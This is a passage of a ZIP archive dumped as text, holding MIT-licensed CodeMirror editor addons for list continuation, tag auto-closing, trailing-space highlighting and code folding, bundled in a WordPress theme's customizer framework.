});
PK     N\    O  inc/customizer/framework/assets/js/vendor/codemirror/addon/edit/continuelist.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var listRE = /^(\s*)(>[> ]*|[*+-]\s|(\d+)([.)]))(\s*)/,
      emptyListRE = /^(\s*)(>[> ]*|[*+-]|(\d+)[.)])(\s*)$/,
      unorderedListRE = /[*+-]\s/;

  CodeMirror.commands.newlineAndIndentContinueMarkdownList = function(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), replacements = [];
    for (var i = 0; i < ranges.length; i++) {
      var pos = ranges[i].head;
      var eolState = cm.getStateAfter(pos.line);
      var inList = eolState.list !== false;
      var inQuote = eolState.quote !== 0;

      var line = cm.getLine(pos.line), match = listRE.exec(line);
      if (!ranges[i].empty() || (!inList && !inQuote) || !match) {
        cm.execCommand("newlineAndIndent");
        return;
      }
      if (emptyListRE.test(line)) {
        cm.replaceRange("", {
          line: pos.line, ch: 0
        }, {
          line: pos.line, ch: pos.ch + 1
        });
        replacements[i] = "\n";
      } else {
        var indent = match[1], after = match[5];
        var bullet = unorderedListRE.test(match[2]) || match[2].indexOf(">") >= 0
          ? match[2]
          : (parseInt(match[3], 10) + 1) + match[4];

        replacements[i] = "\n" + indent + bullet + after;
      }
    }

    cm.replaceSelections(replacements);
  };
});
PK     N\3    P  inc/customizer/framework/assets/js/vendor/codemirror/addon/edit/trailingspace.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("showTrailingSpace", false, function(cm, val, prev) {
    if (prev == CodeMirror.Init) prev = false;
    if (prev && !val)
      cm.removeOverlay("trailingspace");
    else if (!prev && val)
      cm.addOverlay({
        token: function(stream) {
          for (var l = stream.string.length, i = l; i && /\s/.test(stream.string.charAt(i - 1)); --i) {}
          if (i > stream.pos) { stream.pos = i; return null; }
          stream.pos = l;
          return "trailingspace";
        },
        name: "trailingspace"
      });
  });
});
PK     N\9 ]    K  inc/customizer/framework/assets/js/vendor/codemirror/addon/edit/closetag.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/**
 * Tag-closer extension for CodeMirror.
 *
 * This extension adds an "autoCloseTags" option that can be set to
 * either true to get the default behavior, or an object to further
 * configure its behavior.
 *
 * These are supported options:
 *
 * `whenClosing` (default true)
 *   Whether to autoclose when the '/' of a closing tag is typed.
 * `whenOpening` (default true)
 *   Whether to autoclose the tag when the final '>' of an opening
 *   tag is typed.
 * `dontCloseTags` (default is empty tags for HTML, none for XML)
 *   An array of tag names that should not be autoclosed.
 * `indentTags` (default is block tags for HTML, none for XML)
 *   An array of tag names that should, when opened, cause a
 *   blank line to be added inside the tag, and the blank line and
 *   closing line to be indented.
 *
 * See demos/closetag.html for a usage example.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("autoCloseTags", false, function(cm, val, old) {
    if (old != CodeMirror.Init && old)
      cm.removeKeyMap("autoCloseTags");
    if (!val) return;
    var map = {name: "autoCloseTags"};
    if (typeof val != "object" || val.whenClosing)
      map["'/'"] = function(cm) { return autoCloseSlash(cm); };
    if (typeof val != "object" || val.whenOpening)
      map["'>'"] = function(cm) { return autoCloseGT(cm); };
    cm.addKeyMap(map);
  });

  var htmlDontClose = ["area", "base", "br", "col", "command", "embed", "hr", "img", "input", "keygen", "link", "meta", "param",
                       "source", "track", "wbr"];
  var htmlIndent = ["applet", "blockquote", "body", "button", "div", "dl", "fieldset", "form", "frameset", "h1", "h2", "h3", "h4",
                    "h5", "h6", "head", "html", "iframe", "layer", "legend", "object", "ol", "p", "select", "table", "ul"];

  function autoCloseGT(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), replacements = [];
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var pos = ranges[i].head, tok = cm.getTokenAt(pos);
      var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state = inner.state;
      if (inner.mode.name != "xml" || !state.tagName) return CodeMirror.Pass;

      var opt = cm.getOption("autoCloseTags"), html = inner.mode.configuration == "html";
      var dontCloseTags = (typeof opt == "object" && opt.dontCloseTags) || (html && htmlDontClose);
      var indentTags = (typeof opt == "object" && opt.indentTags) || (html && htmlIndent);

      var tagName = state.tagName;
      if (tok.end > pos.ch) tagName = tagName.slice(0, tagName.length - tok.end + pos.ch);
      var lowerTagName = tagName.toLowerCase();
      // Don't process the '>' at the end of an end-tag or self-closing tag
      if (!tagName ||
          tok.type == "string" && (tok.end != pos.ch || !/[\"\']/.test(tok.string.charAt(tok.string.length - 1)) || tok.string.length == 1) ||
          tok.type == "tag" && state.type == "closeTag" ||
          tok.string.indexOf("/") == (tok.string.length - 1) || // match something like <someTagName />
          dontCloseTags && indexOf(dontCloseTags, lowerTagName) > -1 ||
          closingTagExists(cm, tagName, pos, state, true))
        return CodeMirror.Pass;

      var indent = indentTags && indexOf(indentTags, lowerTagName) > -1;
      replacements[i] = {indent: indent,
                         text: ">" + (indent ? "\n\n" : "") + "</" + tagName + ">",
                         newPos: indent ? CodeMirror.Pos(pos.line + 1, 0) : CodeMirror.Pos(pos.line, pos.ch + 1)};
    }

    for (var i = ranges.length - 1; i >= 0; i--) {
      var info = replacements[i];
      cm.replaceRange(info.text, ranges[i].head, ranges[i].anchor, "+insert");
      var sel = cm.listSelections().slice(0);
      sel[i] = {head: info.newPos, anchor: info.newPos};
      cm.setSelections(sel);
      if (info.indent) {
        cm.indentLine(info.newPos.line, null, true);
        cm.indentLine(info.newPos.line + 1, null, true);
      }
    }
  }

  function autoCloseCurrent(cm, typingSlash) {
    var ranges = cm.listSelections(), replacements = [];
    var head = typingSlash ? "/" : "</";
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var pos = ranges[i].head, tok = cm.getTokenAt(pos);
      var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state = inner.state;
      if (typingSlash && (tok.type == "string" || tok.string.charAt(0) != "<" ||
                          tok.start != pos.ch - 1))
        return CodeMirror.Pass;
      // Kludge to get around the fact that we are not in XML mode
      // when completing in JS/CSS snippet in htmlmixed mode. Does not
      // work for other XML embedded languages (there is no general
      // way to go from a mixed mode to its current XML state).
      var replacement;
      if (inner.mode.name != "xml") {
        if (cm.getMode().name == "htmlmixed" && inner.mode.name == "javascript")
          replacement = head + "script";
        else if (cm.getMode().name == "htmlmixed" && inner.mode.name == "css")
          replacement = head + "style";
        else
          return CodeMirror.Pass;
      } else {
        if (!state.context || !state.context.tagName ||
            closingTagExists(cm, state.context.tagName, pos, state))
          return CodeMirror.Pass;
        replacement = head + state.context.tagName;
      }
      if (cm.getLine(pos.line).charAt(tok.end) != ">") replacement += ">";
      replacements[i] = replacement;
    }
    cm.replaceSelections(replacements);
    ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++)
      if (i == ranges.length - 1 || ranges[i].head.line < ranges[i + 1].head.line)
        cm.indentLine(ranges[i].head.line);
  }

  function autoCloseSlash(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    return autoCloseCurrent(cm, true);
  }

  CodeMirror.commands.closeTag = function(cm) { return autoCloseCurrent(cm); };

  function indexOf(collection, elt) {
    if (collection.indexOf) return collection.indexOf(elt);
    for (var i = 0, e = collection.length; i < e; ++i)
      if (collection[i] == elt) return i;
    return -1;
  }

  // If xml-fold is loaded, we use its functionality to try and verify
  // whether a given tag is actually unclosed.
  function closingTagExists(cm, tagName, pos, state, newTag) {
    if (!CodeMirror.scanForClosingTag) return false;
    var end = Math.min(cm.lastLine() + 1, pos.line + 500);
    var nextClose = CodeMirror.scanForClosingTag(cm, pos, null, end);
    if (!nextClose || nextClose.tag != tagName) return false;
    var cx = state.context;
    // If the immediate wrapping context contains onCx instances of
    // the same tag, a closing tag only exists if there are at least
    // that many closing tags of that type following.
    for (var onCx = newTag ? 1 : 0; cx && cx.tagName == tagName; cx = cx.prev) ++onCx;
    pos = nextClose.to;
    for (var i = 1; i < onCx; i++) {
      var next = CodeMirror.scanForClosingTag(cm, pos, null, end);
      if (!next || next.tag != tagName) return false;
      pos = next.to;
    }
    return true;
  }
});
PK     N\
>vU  U  K  inc/customizer/framework/assets/js/vendor/codemirror/addon/fold/foldcode.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function doFold(cm, pos, options, force) {
    if (options && options.call) {
      var finder = options;
      options = null;
    } else {
      var finder = getOption(cm, options, "rangeFinder");
    }
    if (typeof pos == "number") pos = CodeMirror.Pos(pos, 0);
    var minSize = getOption(cm, options, "minFoldSize");

    function getRange(allowFolded) {
      var range = finder(cm, pos);
      if (!range || range.to.line - range.from.line < minSize) return null;
      var marks = cm.findMarksAt(range.from);
      for (var i = 0; i < marks.length; ++i) {
        if (marks[i].__isFold && force !== "fold") {
          if (!allowFolded) return null;
          range.cleared = true;
          marks[i].clear();
        }
      }
      return range;
    }

    var range = getRange(true);
    if (getOption(cm, options, "scanUp")) while (!range && pos.line > cm.firstLine()) {
      pos = CodeMirror.Pos(pos.line - 1, 0);
      range = getRange(false);
    }
    if (!range || range.cleared || force === "unfold") return;

    var myWidget = makeWidget(cm, options);
    CodeMirror.on(myWidget, "mousedown", function(e) {
      myRange.clear();
      CodeMirror.e_preventDefault(e);
    });
    var myRange = cm.markText(range.from, range.to, {
      replacedWith: myWidget,
      clearOnEnter: true,
      __isFold: true
    });
    myRange.on("clear", function(from, to) {
      CodeMirror.signal(cm, "unfold", cm, from, to);
    });
    CodeMirror.signal(cm, "fold", cm, range.from, range.to);
  }

  function makeWidget(cm, options) {
    var widget = getOption(cm, options, "widget");
    if (typeof widget == "string") {
      var text = document.createTextNode(widget);
      widget = document.createElement("span");
      widget.appendChild(text);
      widget.className = "CodeMirror-foldmarker";
    }
    return widget;
  }

  // Clumsy backwards-compatible interface
  CodeMirror.newFoldFunction = function(rangeFinder, widget) {
    return function(cm, pos) { doFold(cm, pos, {rangeFinder: rangeFinder, widget: widget}); };
  };

  // New-style interface
  CodeMirror.defineExtension("foldCode", function(pos, options, force) {
    doFold(this, pos, options, force);
  });

  CodeMirror.defineExtension("isFolded", function(pos) {
    var marks = this.findMarksAt(pos);
    for (var i = 0; i < marks.length; ++i)
      if (marks[i].__isFold) return true;
  });

  CodeMirror.commands.toggleFold = function(cm) {
    cm.foldCode(cm.getCursor());
  };
  CodeMirror.commands.fold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "fold");
  };
  CodeMirror.commands.unfold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "unfold");
  };
  CodeMirror.commands.foldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), null, "fold");
    });
  };
  CodeMirror.commands.unfoldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), null, "unfold");
    });
  };

  CodeMirror.registerHelper("fold", "combine", function() {
    var funcs = Array.prototype.slice.call(arguments, 0);
    return function(cm, start) {
      for (var i = 0; i < funcs.length; ++i) {
        var found = funcs[i](cm, start);
        if (found) return found;
      }
    };
  });

  CodeMirror.registerHelper("fold", "auto", function(cm, start) {
    var helpers = cm.getHelpers(start, "fold");
    for (var i = 0; i < helpers.length; i++) {
      var cur = helpers[i](cm, start);
      if (cur) return cur;
    }
  });

  var defaultOptions = {
    rangeFinder: CodeMirror.fold.auto,
    widget: "\u2194",
    minFoldSize: 0,
    scanUp: false
  };

  CodeMirror.defineOption("foldOptions", null);

  function getOption(cm, options, name) {
    if (options && options[name] !== undefined)
      return options[name];
    var editorOptions = cm.options.foldOptions;
    if (editorOptions && editorOptions[name] !== undefined)
      return editorOptions[name];
    return defaultOptions[name];
  }

  CodeMirror.defineExtension("foldOption", function(options, name) {
    return getOption(this, options, name);
  });
});
PK     N\r:    K  inc/customizer/framework/assets/js/vendor/codemirror/addon/fold/xml-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;
  function cmp(a, b) { return a.line - b.line || a.ch - b.ch; }

  var nameStartChar = "A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
  var nameChar = nameStartChar + "\-\:\.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
  var xmlTagStart = new RegExp("<(/?)([" + nameStartChar + "][" + nameChar + "]*)", "g");

  function Iter(cm, line, ch, range) {
    this.line = line; this.ch = ch;
    this.cm = cm; this.text = cm.getLine(line);
    this.min = range ? range.from : cm.firstLine();
    this.max = range ? range.to - 1 : cm.lastLine();
  }

  function tagAt(iter, ch) {
    var type = iter.cm.getTokenTypeAt(Pos(iter.line, ch));
    return type && /\btag\b/.test(type);
  }

  function nextLine(iter) {
    if (iter.line >= iter.max) return;
    iter.ch = 0;
    iter.text = iter.cm.getLine(++iter.line);
    return true;
  }
  function prevLine(iter) {
    if (iter.line <= iter.min) return;
    iter.text = iter.cm.getLine(--iter.line);
    iter.ch = iter.text.length;
    return true;
  }

  function toTagEnd(iter) {
    for (;;) {
      var gt = iter.text.indexOf(">", iter.ch);
      if (gt == -1) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt + 1; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 && !/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }
  function toTagStart(iter) {
    for (;;) {
      var lt = iter.ch ? iter.text.lastIndexOf("<", iter.ch - 1) : -1;
      if (lt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, lt + 1)) { iter.ch = lt; continue; }
      xmlTagStart.lastIndex = lt;
      iter.ch = lt;
      var match = xmlTagStart.exec(iter.text);
      if (match && match.index == lt) return match;
    }
  }

  function toNextTag(iter) {
    for (;;) {
      xmlTagStart.lastIndex = iter.ch;
      var found = xmlTagStart.exec(iter.text);
      if (!found) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, found.index + 1)) { iter.ch = found.index + 1; continue; }
      iter.ch = found.index + found[0].length;
      return found;
    }
  }
  function toPrevTag(iter) {
    for (;;) {
      var gt = iter.ch ? iter.text.lastIndexOf(">", iter.ch - 1) : -1;
      if (gt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 && !/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }

  function findMatchingClose(iter, tag) {
    var stack = [];
    for (;;) {
      var next = toNextTag(iter), end, startLine = iter.line, startCh = iter.ch - (next ? next[0].length : 0);
      if (!next || !(end = toTagEnd(iter))) return;
      if (end == "selfClose") continue;
      if (next[1]) { // closing tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] == next[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == next[2])) return {
          tag: next[2],
          from: Pos(startLine, startCh),
          to: Pos(iter.line, iter.ch)
        };
      } else { // opening tag
        stack.push(next[2]);
      }
    }
  }
  function findMatchingOpen(iter, tag) {
    var stack = [];
    for (;;) {
      var prev = toPrevTag(iter);
      if (!prev) return;
      if (prev == "selfClose") { toTagStart(iter); continue; }
      var endLine = iter.line, endCh = iter.ch;
      var start = toTagStart(iter);
      if (!start) return;
      if (start[1]) { // closing tag
        stack.push(start[2]);
      } else { // opening tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] == start[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == start[2])) return {
          tag: start[2],
          from: Pos(iter.line, iter.ch),
          to: Pos(endLine, endCh)
        };
      }
    }
  }

  CodeMirror.registerHelper("fold", "xml", function(cm, start) {
    var iter = new Iter(cm, start.line, 0);
    for (;;) {
      var openTag = toNextTag(iter), end;
      if (!openTag || iter.line != start.line || !(end = toTagEnd(iter))) return;
      if (!openTag[1] && end != "selfClose") {
        var start = Pos(iter.line, iter.ch);
        var close = findMatchingClose(iter, openTag[2]);
        return close && {from: start, to: close.from};
      }
    }
  });
  CodeMirror.findMatchingTag = function(cm, pos, range) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    if (iter.text.indexOf(">") == -1 && iter.text.indexOf("<") == -1) return;
    var end = toTagEnd(iter), to = end && Pos(iter.line, iter.ch);
    var start = end && toTagStart(iter);
    if (!end || !start || cmp(iter, pos) > 0) return;
    var here = {from: Pos(iter.line, iter.ch), to: to, tag: start[2]};
    if (end == "selfClose") return {open: here, close: null, at: "open"};

    if (start[1]) { // closing tag
      return {open: findMatchingOpen(iter, start[2]), close: here, at: "close"};
    } else { // opening tag
      iter = new Iter(cm, to.line, to.ch, range);
      return {open: here, close: findMatchingClose(iter, start[2]), at: "open"};
    }
  };

  CodeMirror.findEnclosingTag = function(cm, pos, range) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    for (;;) {
      var open = findMatchingOpen(iter);
      if (!open) break;
      var forward = new Iter(cm, pos.line, pos.ch, range);
      var close = findMatchingClose(forward, open.tag);
      if (close) return {open: open, close: close};
    }
  };

  // Used by addon/edit/closetag.js
  CodeMirror.scanForClosingTag = function(cm, pos, name, end) {
    var iter = new Iter(cm, pos.line, pos.ch, end ? {from: 0, to: end} : null);
    return findMatchingClose(iter, name);
  };
});
PK     N\9J-E  E  P  inc/customizer/framework/assets/js/vendor/codemirror/addon/fold/markdown-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "markdown", function(cm, start) {
  var maxDepth = 100;

  function isHeader(lineNo) {
    var tokentype = cm.getTokenTypeAt(CodeMirror.Pos(lineNo, 0));
    return tokentype && /\bheader\b/.test(tokentype);
  }

  function headerLevel(lineNo, line, nextLine) {
    var match = line && line.match(/^#+/);
    if (match && isHeader(lineNo)) return match[0].length;
    match = nextLine && nextLine.match(/^[=\-]+\s*$/);
    if (match && isHeader(lineNo + 1)) return nextLine[0] == "=" ? 1 : 2;
    return maxDepth;
  }

  var firstLine = cm.getLine(start.line), nextLine = cm.getLine(start.line + 1);
  var level = headerLevel(start.line, firstLine, nextLine);
  if (level === maxDepth) return undefined;

  var lastLineNo = cm.lastLine();
  var end = start.line, nextNextLine = cm.getLine(end + 2);
  while (end < lastLineNo) {
    if (headerLevel(end + 1, nextLine, nextNextLine) <= level) break;
    ++end;
    nextLine = nextNextLine;
    nextNextLine = cm.getLine(end + 2);
  }

  return {
    from: CodeMirror.Pos(start.line, firstLine.length),
    to: CodeMirror.Pos(end, cm.getLine(end).length)
  };
});

});
PK     N\re/c  c  O  inc/customizer/framework/assets/js/vendor/codemirror/addon/fold/comment-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerGlobalHelper("fold", "comment", function(mode) {
  return mode.blockCommentStart && mode.blockCommentEnd;
}, function(cm, start) {
  var mode = cm.getModeAt(start), startToken = mode.blockCommentStart, endToken = mode.blockCommentEnd;
  if (!startToken || !endToken) return;
  var line = start.line, lineText = cm.getLine(line);

  var startCh;
  for (var at = start.ch, pass = 0;;) {
    var found = at <= 0 ? -1 : lineText.lastIndexOf(startToken, at - 1);
    if (found == -1) {
      if (pass == 1) return;
      pass = 1;
      at = lineText.length;
      continue;
    }
    if (pass == 1 && found < start.ch) return;
    if (/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1))) &&
        (lineText.slice(found - endToken.length, found) == endToken ||
         !/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found))))) {
      startCh = found + startToken.length;
      break;
    }
    at = found - 1;
  }

  var depth = 1, lastLine = cm.lastLine(), end, endCh;
  outer: for (var i = line; i <= lastLine; ++i) {
    var text = cm.getLine(i), pos = i == line ? startCh : 0;
    for (;;) {
      var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
      if (nextOpen < 0) nextOpen = text.length;
      if (nextClose < 0) nextClose = text.length;
      pos = Math.min(nextOpen, nextClose);
      if (pos == text.length) break;
      if (pos == nextOpen) ++depth;
      else if (!--depth) { end = i; endCh = pos; break outer; }
      ++pos;
    }
  }
  if (end == null || line == end && endCh == startCh) return;
  return {from: CodeMirror.Pos(line, startCh),
          to: CodeMirror.Pos(end, endCh)};
});

});
PK     N\$J    N  inc/customizer/framework/assets/js/vendor/codemirror/addon/fold/foldgutter.cssnu [        .CodeMirror-foldmarker {
  color: blue;
  text-shadow: #b9f 1px 1px 2px, #b9f -1px -1px 2px, #b9f 1px -1px 2px, #b9f -1px 1px 2px;
  font-family: arial;
  line-height: .3;
  cursor: pointer;
}
.CodeMirror-foldgutter {
  width: .7em;
}
.CodeMirror-foldgutter-open,
.CodeMirror-foldgutter-folded {
  cursor: pointer;
}
.CodeMirror-foldgutter-open:after {
  content: "\25BE";
}
.CodeMirror-foldgutter-folded:after {
  content: "\25B8";
}
PK     N\C[  [  N  inc/customizer/framework/assets/js/vendor/codemirror/addon/fold/indent-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "indent", function(cm, start) {
  var tabSize = cm.getOption("tabSize"), firstLine = cm.getLine(start.line);
  if (!/\S/.test(firstLine)) return;
  var getIndent = function(line) {
    return CodeMirror.countColumn(line, null, tabSize);
  };
  var myIndent = getIndent(firstLine);
  var lastLineInFold = null;
  // Go through lines until we find a line that definitely doesn't belong in
  // the block we're folding, or to the end.
  for (var i = start.line + 1, end = cm.lastLine(); i <= end; ++i) {
    var curLine = cm.getLine(i);
    var curIndent = getIndent(curLine);
    if (curIndent > myIndent) {
      // Lines with a greater indent are considered part of the block.
      lastLineInFold = i;
    } else if (!/\S/.test(curLine)) {
      // Empty lines might be breaks within the block we're trying to fold.
    } else {
      // A non-empty line at an indent equal to or less than ours marks the
      // start of another block.
      break;
    }
  }
  if (lastLineInFold) return {
    from: CodeMirror.Pos(start.line, firstLine.length),
    to: CodeMirror.Pos(lastLineInFold, cm.getLine(lastLineInFold).length)
  };
});

});
PK     N\    M  inc/customizer/framework/assets/js/vendor/codemirror/addon/fold/foldgutter.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./foldcode"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./foldcode"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("foldGutter", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.clearGutter(cm.state.foldGutter.options.gutter);
      cm.state.foldGutter = null;
      cm.off("gutterClick", onGutterClick);
      cm.off("change", onChange);
      cm.off("viewportChange", onViewportChange);
      cm.off("fold", onFold);
      cm.off("unfold", onFold);
      cm.off("swapDoc", updateInViewport);
    }
    if (val) {
      cm.state.foldGutter = new State(parseOptions(val));
      updateInViewport(cm);
      cm.on("gutterClick", onGutterClick);
      cm.on("change", onChange);
      cm.on("viewportChange", onViewportChange);
      cm.on("fold", onFold);
      cm.on("unfold", onFold);
      cm.on("swapDoc", updateInViewport);
    }
  });

  var Pos = CodeMirror.Pos;

  function State(options) {
    this.options = options;
    this.from = this.to = 0;
  }

  function parseOptions(opts) {
    if (opts === true) opts = {};
    if (opts.gutter == null) opts.gutter = "CodeMirror-foldgutter";
    if (opts.indicatorOpen == null) opts.indicatorOpen = "CodeMirror-foldgutter-open";
    if (opts.indicatorFolded == null) opts.indicatorFolded = "CodeMirror-foldgutter-folded";
    return opts;
  }

  function isFolded(cm, line) {
    var marks = cm.findMarksAt(Pos(line));
    for (var i = 0; i < marks.length; ++i)
      if (marks[i].__isFold && marks[i].find().from.line == line) return marks[i];
  }

  function marker(spec) {
    if (typeof spec == "string") {
      var elt = document.createElement("div");
      elt.className = spec + " CodeMirror-guttermarker-subtle";
      return elt;
    } else {
      return spec.cloneNode(true);
    }
  }

  function updateFoldInfo(cm, from, to) {
    var opts = cm.state.foldGutter.options, cur = from;
    var minSize = cm.foldOption(opts, "minFoldSize");
    var func = cm.foldOption(opts, "rangeFinder");
    cm.eachLine(from, to, function(line) {
      var mark = null;
      if (isFolded(cm, cur)) {
        mark = marker(opts.indicatorFolded);
      } else {
        var pos = Pos(cur, 0);
        var range = func && func(cm, pos);
        if (range && range.to.line - range.from.line >= minSize)
          mark = marker(opts.indicatorOpen);
      }
      cm.setGutterMarker(line, opts.gutter, mark);
      ++cur;
    });
  }

  function updateInViewport(cm) {
    var vp = cm.getViewport(), state = cm.state.foldGutter;
    if (!state) return;
    cm.operation(function() {
      updateFoldInfo(cm, vp.from, vp.to);
    });
    state.from = vp.from; state.to = vp.to;
  }

  function onGutterClick(cm, line, gutter) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    if (gutter != opts.gutter) return;
    var folded = isFolded(cm, line);
    if (folded) folded.clear();
    else cm.foldCode(Pos(line, 0), opts.rangeFinder);
  }

  function onChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    state.from = state.to = 0;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() { updateInViewport(cm); }, opts.foldOnChangeTimeSpan || 600);
  }

  function onViewportChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() {
      var vp = cm.getViewport();
      if (state.from == state.to || vp.from - state.to > 20 || state.from - vp.to > 20) {
        updateInViewport(cm);
      } else {
        cm.operation(function() {
          if (vp.from < state.from) {
            updateFoldInfo(cm, vp.from, state.from);
            state.from = vp.from;
          }
          if (vp.to > state.to) {
            updateFoldInfo(cm, state.to, vp.to);
            state.to = vp.to;
          }
        });
      }
    }, opts.updateViewportTimeSpan || 400);
  }

  function onFold(cm, from) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var line = from.line;
    if (line >= state.from && line < state.to)
      updateFoldInfo(cm, line, line + 1);
  }
});
PK     N\R@Z@  @  M  inc/customizer/framework/assets/js/vendor/codemirror/addon/fold/brace-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

